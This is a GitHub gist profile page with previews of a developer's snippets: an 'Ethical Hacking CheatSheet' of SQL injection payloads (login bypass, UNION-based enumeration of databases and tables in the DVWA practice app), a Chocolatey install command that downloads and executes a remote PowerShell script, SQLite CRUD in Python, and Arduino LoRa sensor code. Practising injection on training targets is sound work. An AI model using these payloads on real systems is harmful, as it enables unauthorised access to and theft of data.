Skip to content

Instantly share code, notes, and snippets.

View softon's full-sized avatar

Shiburaj Pappu softon

View GitHub Profile
@softon
softon / hack.sql
Created September 12, 2020 07:01
Ethical Hacking CheatSheet
-- SQL Injection Login
' or 1=1 or '
-- Get Databases:
1' union select 1,table_schema from information_schema.tables union select 1,'1
-- Get Tables
1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa' union select 1,'1
-- Get Columns
@softon
softon / choco.MD
Last active February 7, 2021 18:32

Chocolatey Developer Setup

Open PowerShell with Administrator rights and run following command.

Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))

Next run the following command for installing all developer and other essential softwares softwares

  1. Essential Softwares
@softon
softon / sqlite-crud-python.md
Last active April 11, 2022 04:38
SQLite CRUD using Python

SQLite CRUD using Python

Basic Structure

import sqlite3

# Open SQLIte database named mydb.db
conn = sqlite3.connect("mydb.db") 

# Create a cursor for executing queries
@softon
softon / sihlora.ino
Created December 21, 2023 10:56
SIH RCOE LORA Code
#include <Wire.h>
#include <SPI.h>
#include <LoRa.h>
#include <DHT.h>
#include <LiquidCrystal_I2C.h>
#define DHTPIN 5 //pin where the dht22 is connected
DHT dht(DHTPIN, DHT22);
#define ss 10
#define rst 9